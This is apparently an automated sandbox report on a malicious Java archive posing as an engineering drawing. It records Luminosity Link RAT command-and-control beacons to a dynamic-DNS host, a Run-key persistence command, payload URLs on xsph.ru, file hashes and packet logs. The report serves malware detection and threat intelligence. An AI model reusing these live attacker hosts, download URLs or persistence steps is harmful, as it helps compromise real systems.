                                  http://www.quovadisglobal.com/cpsjava.exe, 00000002.00000002.255651463.000000000A8E2000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254035355.0000000005471000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpfalse
                                    		high
                                    http://cps.chambersign.org/cps/chambersroot.htmljava.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpfalse
                                    • URL Reputation: safe
                                    		unknown
                                    http://www.certplus.com/CRL/class3P.crljava.exe, 00000002.00000002.255492377.000000000A819000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpfalse
                                    • URL Reputation: safe
                                    		unknown
                                    http://crl.securetrust.com/STCA.crlKgjava.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmpfalse
                                    • Avira URL Cloud: safe
                                    		unknown
                                    http://crl.securetrust.com/STCA.crlsjava.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmpfalse
                                    • Avira URL Cloud: safe
                                    		unknown
                                    http://www.quovadis.bm#javaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmpfalse
                                    • Avira URL Cloud: safe
                                    		unknown
                                    http://crl.securetrust.com/STCA.crljava.exe, 00000002.00000002.255492377.000000000A819000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpfalse
                                    • URL Reputation: safe
                                    		unknown
                                    http://crl.xrampsecurity.com/XGCA.crl0java.exe, 00000002.00000002.255492377.000000000A819000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.255625798.000000000A8C0000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.253997459.000000000544C000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.504710006.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpfalse
                                    • URL Reputation: safe
                                    		unknown
                                    http://www.quovadis.bmjava.exe, 00000002.00000002.255651463.000000000A8E2000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254035355.0000000005471000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.504710006.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpfalse
                                    • URL Reputation: safe
                                    		unknown
                                    http://www.quovadis.bm0java.exe, 00000002.00000002.255651463.000000000A8E2000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.255625798.000000000A8C0000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.253997459.000000000544C000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254035355.0000000005471000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.504710006.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpfalse
                                    • URL Reputation: safe
                                    		unknown
                                    http://crl.chambersign.org/chambersroot.crlCzjava.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmpfalse
                                    • Avira URL Cloud: safe
                                    		unknown
                                    http://crl.chambersign.org/chambersroot.crljava.exe, 00000002.00000002.255492377.000000000A819000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpfalse
                                    • URL Reputation: safe
                                    		unknown

                                    World Map of Contacted IPs

                                    • No. of IPs < 25%
                                    • 25% < No. of IPs < 50%
                                    • 50% < No. of IPs < 75%
                                    • 75% < No. of IPs

                                    Public IPs

                                    IPDomainCountryFlagASNASN NameMalicious
                                    194.5.98.141
                                    		bestsuccess.ddns.netNetherlands
                                    		208476DANILENKODEtrue
                                    141.8.192.151
                                    		f0719949.xsph.ruRussian Federation
                                    		35278SPRINTHOSTRUfalse

                                    Private

                                    IP
                                    192.168.2.1

                                    General Information

                                    Joe Sandbox Version:36.0.0 Rainbow Opal
                                    Analysis ID:705884
                                    Start date and time:2022-09-20 03:40:05 +02:00
                                    Joe Sandbox Product:CloudBasic
                                    Overall analysis duration:0h 9m 6s
                                    Hypervisor based Inspection enabled:false
                                    Report type:full
                                    Sample file name:DWG Material, Standard BS 4360 GR. 40A43A.jar
                                    Cookbook file name:defaultwindowsfilecookbook.jbs
                                    Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                    Number of analysed new started processes analysed:27
                                    Number of new started drivers analysed:0
                                    Number of existing processes analysed:0
                                    Number of existing drivers analysed:0
                                    Number of injected processes analysed:0
                                    Technologies:
                                    • HCA enabled
                                    • EGA enabled
                                    • HDC enabled
                                    • GSI enabled (Java)
                                    • AMSI enabled
                                    Analysis Mode:default
                                    Analysis stop reason:Timeout
                                    Detection:MAL
                                    Classification:mal72.troj.expl.winJAR@11/3@6/3
                                    EGA Information:Failed
                                    HDC Information:Failed
                                    HCA Information:
                                    • Successful, ratio: 52%
                                    • Number of executed functions: 34
                                    • Number of non-executed functions: 4
                                    Cookbook Comments:
                                    • Found application associated with file extension: .jar

                                    Warnings

                                    • Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, RuntimeBroker.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe
                                    • Excluded domains from analysis (whitelisted): fs.microsoft.com, login.live.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com
                                    • Execution Graph export aborted for target java.exe, PID 5192 because it is empty
                                    • Execution Graph export aborted for target javaw.exe, PID 5652 because there are no executed function
                                    • Execution Graph export aborted for target javaw.exe, PID 732 because there are no executed function
                                    • Not all processes where analyzed, report is missing behavior information
                                    • Report creation exceeded maximum time and may have missing disassembly code information.
                                    • Report size getting too big, too many NtDeviceIoControlFile calls found.
                                    • Report size getting too big, too many NtSetInformationFile calls found.

                                    Simulations

                                    Behavior and APIs

                                    TimeTypeDescription
                                    03:41:00AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run dropbox C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw -jar "C:\Users\user\AppData\Local\Temp\dropbox3326252284114201190.jar"
                                    03:41:08AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run dropbox C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw -jar "C:\Users\user\AppData\Local\Temp\dropbox3326252284114201190.jar"

                                    Joe Sandbox View / Context

                                    IPs

                                    MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                    194.5.98.141Payment Notification.exeGet hashmaliciousBrowse
                                      Enquiry- 0076HGF21.exeGet hashmaliciousBrowse
                                        141.8.192.151dropbox.exeGet hashmaliciousBrowse
                                        • f0719949.xsph.ru/Uuddcmhnxqhfgvscgvechrthfvxthbvnjytchegfrhvbrtgnthyfgnbvgfcfbhgfyuyuyuyuyuyuytttrrrfgh
                                        DWG spare parts 455RTMGF Model.exeGet hashmaliciousBrowse
                                        • f0719949.xsph.ru/Uuddcmhnxqhfgvscgvechrthfvxthbvnjytchegfrhvbrtgnthyfgnbvgfcfbhgfyuyuyuyuyuyuytttrrrfgh
                                        NotaFiscal.msiGet hashmaliciousBrowse
                                        • f0717271.xsph.ru/serv.php
                                        Revised sales contract for Crosswear.rtfGet hashmaliciousBrowse
                                        • f0705964.xsph.ru/mum.exe
                                        cxbqjWw79R.exeGet hashmaliciousBrowse
                                        • f0702521.xsph.ru/cmd.php?hwid=computer%5Cuser&gpuname=88P9A4OS;%20&mining=1&active=XMR
                                        IVBPFW.exeGet hashmaliciousBrowse
                                        • f0702055.xsph.ru/ng.txt
                                        NOPL-25-JULY-001.docGet hashmaliciousBrowse
                                        • f0699262.xsph.ru/letter.exe
                                        300618c6e81ee458a3aba4188f0f24937f62974991428.exeGet hashmaliciousBrowse
                                        • f0699616.xsph.ru/RATTCRYPT.exe
                                        http://f0688845.xsph.ru/index.phpGet hashmaliciousBrowse
                                        • f0688845.xsph.ru/favicon.ico
                                        18561381.exeGet hashmaliciousBrowse
                                        • f0645594.xsph.ru/build.exe
                                        bd250e1cb4f8d322a5464549dc067ac7bcbecfc2d4fca.exeGet hashmaliciousBrowse
                                        • f0641877.xsph.ru/lam1di.exe
                                        9WPRwZwY47.exeGet hashmaliciousBrowse
                                        • f0624763.xsph.ru/MicrosoftApi.exe
                                        2a09Y5NsoG.exeGet hashmaliciousBrowse
                                        • f0611101.xsph.ru/1.exe
                                        NFe_09112021123.msiGet hashmaliciousBrowse
                                        • f0589562.xsph.ru//arqvs//zlibai.dll
                                        VapeV4Installer (2).exeGet hashmaliciousBrowse
                                        • f0587499.xsph.ru/dop.exe
                                        7ofFMoirr5.exeGet hashmaliciousBrowse
                                        • f0589056.xsph.ru/bfs.exe
                                        SecuriteInfo.com.W32.AIDetect.malware1.10225.exeGet hashmaliciousBrowse
                                        • f0589056.xsph.ru/bfs.exe
                                        6WdUMjf00o.exeGet hashmaliciousBrowse
                                        • f0565382.xsph.ru/SteamWebHelper.exe
                                        Fortnite hack.exeGet hashmaliciousBrowse
                                        • f0579030.xsph.ru/Miner.exe
                                        l5ZpvaSzyp.exeGet hashmaliciousBrowse
                                        • f0566525.xsph.ru/collect.php

                                        Domains

                                        MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                        bestsuccess.ddns.netdropbox.exeGet hashmaliciousBrowse
                                        • 194.5.98.141
                                        DWG spare parts 455RTMGF Model.exeGet hashmaliciousBrowse
                                        • 79.134.225.115
                                        SecuriteInfo.com.Variant.Jaik.95298.16760.17387.exeGet hashmaliciousBrowse
                                        • 79.134.225.115
                                        order confirmation reference no. FXEPS6S08102.exeGet hashmaliciousBrowse
                                        • 80.85.153.132
                                        Aramid, P84, PTFE, PSA Spareparts.exeGet hashmaliciousBrowse
                                        • 80.85.153.132
                                        VoRTaSs6hl.exeGet hashmaliciousBrowse
                                        • 87.251.79.109
                                        Payment Advice - Advice Ref[GLV404865688] Pr.exeGet hashmaliciousBrowse
                                        • 87.251.79.109
                                        Payment Advice - Advice Ref[GLV404865688] Pr.exeGet hashmaliciousBrowse
                                        • 87.251.79.109
                                        fax45367876545678.exeGet hashmaliciousBrowse
                                        • 185.118.167.229
                                        RFQ Material Standard BS 4360 GR. 40A43A.exeGet hashmaliciousBrowse
                                        • 185.118.167.229
                                        order updated Dwg for new order-100920-0086.exeGet hashmaliciousBrowse
                                        • 185.118.165.47
                                        Invoice No. 26647.exeGet hashmaliciousBrowse
                                        • 185.118.165.47
                                        RFQ New Order Quote.exeGet hashmaliciousBrowse
                                        • 185.165.153.108
                                        Quotation reff 1422019WA IQ-0157-R1.exeGet hashmaliciousBrowse
                                        • 185.165.153.108
                                        Quotation reff 1422019WA IQ-0157-R1.exeGet hashmaliciousBrowse
                                        • 185.165.153.108
                                        RFQ Material Standard BS 4360 GR. 40A43A.exeGet hashmaliciousBrowse
                                        • 79.134.225.95
                                        order updated Dwg for new order-100920-0086.exeGet hashmaliciousBrowse
                                        • 79.134.225.95
                                        Paymment for invoice 41319.exeGet hashmaliciousBrowse
                                        • 79.134.225.95
                                        Signed sales contract total volume is 1757 m3.exeGet hashmaliciousBrowse
                                        • 79.134.225.95
                                        production of invoice 41319.exeGet hashmaliciousBrowse
                                        • 79.134.225.95
                                        f0719949.xsph.rudropbox.exeGet hashmaliciousBrowse
                                        • 141.8.192.151
                                        DWG spare parts 455RTMGF Model.exeGet hashmaliciousBrowse
                                        • 141.8.192.151

                                        ASNs

                                        MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                        DANILENKODEutrstartupbuild.jarGet hashmaliciousBrowse
                                        • 194.5.98.195
                                        utrstartupbuild.jarGet hashmaliciousBrowse
                                        • 194.5.98.195
                                        SecuriteInfo.com.Win32.Trojan-gen.31084.exeGet hashmaliciousBrowse
                                        • 194.5.98.244
                                        SecuriteInfo.com.Win32.TrojanX-gen.4549.exeGet hashmaliciousBrowse
                                        • 194.5.98.244
                                        8ALy9cD6rG.exeGet hashmaliciousBrowse
                                        • 194.5.98.17
                                        Numero de proceso. 0091-002022-45125455775698.jsGet hashmaliciousBrowse
                                        • 194.5.98.252
                                        SecuriteInfo.com.Win32.DropperX-gen.3795.exeGet hashmaliciousBrowse
                                        • 194.5.98.244
                                        SecuriteInfo.com.IL.Trojan.MSILZilla.22441.6964.22253.exeGet hashmaliciousBrowse
                                        • 194.5.97.229
                                        SecuriteInfo.com.IL.Trojan.MSILZilla.22441.31968.10217.exeGet hashmaliciousBrowse
                                        • 194.5.97.229
                                        SecuriteInfo.com.Win32.PWSX-gen.21616.exeGet hashmaliciousBrowse
                                        • 194.5.98.195
                                        807364412 - detailedManifest#U00b7pdf.exeGet hashmaliciousBrowse
                                        • 194.5.97.143
                                        SecuriteInfo.com.Trojan.GenericKD.61834999.19780.11498.exeGet hashmaliciousBrowse
                                        • 194.5.98.244
                                        TaxInvoice.exeGet hashmaliciousBrowse
                                        • 194.5.97.4
                                        XEROX_SCAN070822.exeGet hashmaliciousBrowse
                                        • 194.5.97.4
                                        PROOF OF PAYMENT.exeGet hashmaliciousBrowse
                                        • 194.5.98.222
                                        invoice.exeGet hashmaliciousBrowse
                                        • 194.5.97.16
                                        REQUEST FOR BID 06-09-2022#U00b7pdf.exeGet hashmaliciousBrowse
                                        • 194.5.97.143
                                        SecuriteInfo.com.Win32.PWSX-gen.12287.exeGet hashmaliciousBrowse
                                        • 194.5.98.244
                                        JUZGADO SEGUNDO PROMISUCO MUNICIPAL 4545664-55525985-65444586.pdf.jsGet hashmaliciousBrowse
                                        • 194.5.98.48
                                        Outstanding invoice-Pdf.jsGet hashmaliciousBrowse
                                        • 194.5.98.249
                                        SPRINTHOSTRUhttps://bit.ly/3BqjYMhGet hashmaliciousBrowse
                                        • 176.119.147.60
                                        dropbox.exeGet hashmaliciousBrowse
                                        • 141.8.192.151
                                        de2912f0955e066d268cb9ea411c31d49878d94be3ce4.exeGet hashmaliciousBrowse
                                        • 185.251.88.158
                                        A6C00A6F2299FE0E31028826DD8CFBADD30CDCDA50345.exeGet hashmaliciousBrowse
                                        • 141.8.197.42
                                        DWG spare parts 455RTMGF Model.exeGet hashmaliciousBrowse
                                        • 141.8.192.151
                                        xvrJGMRVf7.exeGet hashmaliciousBrowse
                                        • 141.8.192.26
                                        xvrJGMRVf7.exeGet hashmaliciousBrowse
                                        • 141.8.192.26
                                        NotaFiscal.msiGet hashmaliciousBrowse
                                        • 141.8.192.151
                                        file.exeGet hashmaliciousBrowse
                                        • 176.119.147.44
                                        file.exeGet hashmaliciousBrowse
                                        • 176.119.147.44
                                        file.exeGet hashmaliciousBrowse
                                        • 176.119.147.44
                                        poGbuW7uon.exeGet hashmaliciousBrowse
                                        • 141.8.192.151
                                        poGbuW7uon.exeGet hashmaliciousBrowse
                                        • 141.8.192.151
                                        YXmhqlbn5I.exeGet hashmaliciousBrowse
                                        • 185.251.88.208
                                        file.exeGet hashmaliciousBrowse
                                        • 185.251.88.208
                                        cGwY6YCF2j.exeGet hashmaliciousBrowse
                                        • 185.251.88.208
                                        L2li2Zt2oT.exeGet hashmaliciousBrowse
                                        • 185.251.88.208
                                        file.exeGet hashmaliciousBrowse
                                        • 185.251.88.208
                                        file.exeGet hashmaliciousBrowse
                                        • 185.251.88.208
                                        file.exeGet hashmaliciousBrowse
                                        • 185.251.88.208

                                        JA3 Fingerprints

                                        ⊘No context

                                        Dropped Files

                                        ⊘No context

                                        Created / dropped Files

                                        C:\ProgramData\Oracle\Java\.oracle_jre_usage\cce3fe3b0d8d83e2.timestamp

                                        Download File
                                        Process:C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe
                                        File Type:ASCII text, with CRLF line terminators
                                        Category:dropped
                                        Size (bytes):57
                                        Entropy (8bit):4.852639084674789
                                        Encrypted:false
                                        SSDEEP:3:oFj4I5vpN6yUfhRKLy:oJ5X6yIqLy
                                        MD5:FD0D5D1E6FF733A275326C5BA3338C53
                                        SHA1:56EEAF30FD96BF106D571D8CB489B36BD985F3FA
                                        SHA-256:17989F84551B6E52CC2664FDE0A5F75BF6EBF9ADC3D8DD7A72332FBC63F9212B
                                        SHA-512:F5977360E3E5FA9C000C6FD95AC698C78BCB090C28B77DBCE71FCFB67456C62948890352AFD754FB945030AC4D45CB64E5A1018DAD64783AD1DE7A196B3FF492
                                        Malicious:false
                                        Reputation:low
                                        Preview:C:\Program Files (x86)\Java\jre1.8.0_211..1663670477917..

                                        C:\Users\user\AppData\Local\Temp\dropbox3326252284114201190.jar

                                        Download File
                                        Process:C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe
                                        File Type:Zip archive data, at least v2.0 to extract
                                        Category:dropped
                                        Size (bytes):53002
                                        Entropy (8bit):7.922207682883181
                                        Encrypted:false
                                        SSDEEP:1536:OLBYkyvvGIShafWUnK/UOl/MVPzihKv4f0:uyv+IShFRS6f0
                                        MD5:17DC0ABE8689B1C96905FA87731F24A3
                                        SHA1:4203B68E0A1155F09ED41A71DC3EFC112643E6DF
                                        SHA-256:67E908BF3241944DD8F1AD25CA17C8D12B095D0DE3F701B825BA3B021AD36E58
                                        SHA-512:DFA305F069F7820E25270B36B6CF59EED92ACC0B4EE143D7DCF1275CAA27ECA1B4D1C98F89604592E66BE04AEB578F0DAC22C53EB2B61661786DF9880883451E
                                        Malicious:false
                                        Reputation:low
                                        Preview:PK........`.KA.p.^............META-INF/MANIFEST.MFm...0...=R..?..k6`.D+..nTCC..9...'t`..t:=].....;.. .a..YG.......kZ....'[cM..<.^g7...4...l.=R"....,.......=).PG..1.X.]7Y.j.>......^..Z..PK........`.KA.8S^............n.class.U[w.U..Ns9.t...BS.A.Lz!.....".`....i2i.....)...O.o}.%I.]..k...7.bA.;i .Qy.of.o.}...Yg.=..7..q+...>.....$.K.$.H8..DY.K......$V%.J..#.S.......!..p.a\C..j.8.!...'.F..ih.;.4.exOC.^gx.aR..W5D.&....1..!.f.'.&4..[.:9...u.#..!...,.E....g..`..Q.%..l....6.:.........u|..l~.i.? ...>.q.......q...D.@.HN..5..es.L.nj.){jVU,..@o...T+..J..."..,....v,...IO..c..:c..h..c.7....S......~..Xf....F....e.a.w.ac.wg.g..4w..O......2...:.5.F..>i;.:M..".[.......@tV....f9k..(04.=;<B.<.2.e.).3_rW....<D....|.x.X.V..b..j.B N.V.(o..o...+...Uh.@...Ib.x..}~2_...i...'..V.O...........Lpv.j..K.q=.T..#+.....Nw..fk..d}.OV.]J.N..yQ.t.5.+M=...u.ejW.%.V.<i.lt..W.v...x..b.3ncL$.2+...).9..j.<+S$=...q..=...6....K....G..........5........w.}...|.L#P\.K3L.uql..t...&b9...H.V.....*..9RE...

                                        C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\83aa4cc77f591dfc2374580bbd95f6ba_d06ed635-68f6-4e9a-955c-4899f5f57b9a

                                        Download File
                                        Process:C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe
                                        File Type:data
                                        Category:dropped
                                        Size (bytes):45
                                        Entropy (8bit):0.9111711733157262
                                        Encrypted:false
                                        SSDEEP:3:/lwlt7n:WNn
                                        MD5:C8366AE350E7019AEFC9D1E6E6A498C6
                                        SHA1:5731D8A3E6568A5F2DFBBC87E3DB9637DF280B61
                                        SHA-256:11E6ACA8E682C046C83B721EEB5C72C5EF03CB5936C60DF6F4993511DDC61238
                                        SHA-512:33C980D5A638BFC791DE291EBF4B6D263B384247AB27F261A54025108F2F85374B579A026E545F81395736DD40FA4696F2163CA17640DD47F1C42BC9971B18CD
                                        Malicious:false
                                        Reputation:high, very likely benign file
                                        Preview:........................................J2SE.

                                        Static File Info

                                        General

                                        File type:
                                        Entropy (8bit):7.99514368836437
                                        TrID:
                                        • Java Archive (13504/1) 62.80%
                                        • ZIP compressed archive (8000/1) 37.20%
                                        File name:DWG Material, Standard BS 4360 GR. 40A43A.jar
                                        File size:69077
                                        MD5:f5f4e477595a3a7070ee43f0e044b644
                                        SHA1:26ce44fe72446eda537519d3d93253232a8bddca
                                        SHA256:7cd39be56600bf17c8a7753c6be6d6aa91233294d1a3fe30afe2905adf1e286b
                                        SHA512:66dc09bc4466a06e75a81ca923d8350064b3aefb6156376f0522acde91cc26a1e35147cddb99d73d8c1efc0afb2d0ccfe5cbafc7a41a214cfe43e9f93e6586bb
                                        SSDEEP:1536:aAPCuOvLAGPN+ZYhQeOgxHgGkwJy7+Xd/by6TYw1mc4RsDgk7jQF:aAPSEkN+ZYhQeRRbkwW+XpbdqfT
                                        TLSH:CE631221EB6A7B96C6020D306B63149DDE8E388BC619614F1B5D98CF77B204373E5C75
                                        File Content Preview:PK..........2U................de.class.{.x[....\..V.dt..8.I !.cy......E.d..*..d.Z.-K.%y+..*.k..]^..emKK[...G..........}...i!..3s..kI.......s..9s.9..._z....B...F$$....N.f.5.@,\.....)..0.F.c@s...v`d:.\#.O.Db.+....JA$.`z&.Z.I&.`.%...l|.70...S.L?.a..:.W.#D.P8

                                        File Icon

                                        Icon Hash:d28c8e8ea2868ad6

                                        Network Behavior

                                        Snort IDS Alerts

                                        TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
                                        194.5.98.141192.168.2.35445497142811175 09/20/22-03:43:09.235557TCP2811175ETPRO TROJAN Luminosity Link RAT CnC Beacon Inbound544549714194.5.98.141192.168.2.3
                                        192.168.2.3194.5.98.1414971654452811176 09/20/22-03:43:09.236098TCP2811176ETPRO TROJAN Luminosity Link RAT CnC Beacon Outbound497165445192.168.2.3194.5.98.141
                                        192.168.2.3194.5.98.1414971454452811176 09/20/22-03:43:09.236313TCP2811176ETPRO TROJAN Luminosity Link RAT CnC Beacon Outbound497145445192.168.2.3194.5.98.141
                                        194.5.98.141192.168.2.35445497162811175 09/20/22-03:43:09.235529TCP2811175ETPRO TROJAN Luminosity Link RAT CnC Beacon Inbound544549716194.5.98.141192.168.2.3
                                        192.168.2.3194.5.98.1414971054452811176 09/20/22-03:43:09.235958TCP2811176ETPRO TROJAN Luminosity Link RAT CnC Beacon Outbound497105445192.168.2.3194.5.98.141
                                        194.5.98.141192.168.2.35445497102811175 09/20/22-03:43:09.235489TCP2811175ETPRO TROJAN Luminosity Link RAT CnC Beacon Inbound544549710194.5.98.141192.168.2.3

                                        Network Port Distribution

                                        TCP Packets

                                        TimestampSource PortDest PortSource IPDest IP
                                        Sep 20, 2022 03:41:03.100586891 CEST497105445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:03.216761112 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:03.216871023 CEST497105445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:03.272917986 CEST497105445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:03.335125923 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:03.335263014 CEST497105445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:03.388901949 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:03.442042112 CEST497105445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:03.562378883 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:03.562493086 CEST497105445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:03.713159084 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:03.747904062 CEST4971180192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:03.754606009 CEST497105445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:03.809170008 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:03.809449911 CEST4971180192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:03.832089901 CEST4971180192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:03.864005089 CEST497105445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:03.874689102 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:41:03.874839067 CEST497105445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:41:03.893219948 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:03.917372942 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:03.917427063 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:03.917494059 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:03.917535067 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:03.917572021 CEST4971180192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:03.917573929 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:03.917613029 CEST4971180192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:03.917613983 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:03.917654037 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:03.917661905 CEST4971180192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:03.917694092 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:03.917731047 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:03.917768955 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:03.917778015 CEST4971180192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:03.917821884 CEST4971180192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:03.979067087 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:03.979171038 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:03.979237080 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:03.979249001 CEST4971180192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:03.979289055 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:03.979365110 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:03.979449034 CEST4971180192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:03.979495049 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:03.979545116 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:03.979583025 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:03.979598045 CEST4971180192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:03.979621887 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:03.979652882 CEST4971180192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:03.979676962 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:03.979712963 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:03.979729891 CEST4971180192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:03.979753017 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:03.979793072 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:03.979830027 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:03.979831934 CEST4971180192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:03.979872942 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:03.979898930 CEST4971180192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:03.979911089 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:03.979948044 CEST8049711141.8.192.151192.168.2.3
                                        Sep 20, 2022 03:41:03.979980946 CEST4971180192.168.2.3141.8.192.151
                                        Sep 20, 2022 03:41:03.979985952 CEST8049711141.8.192.151192.168.2.3
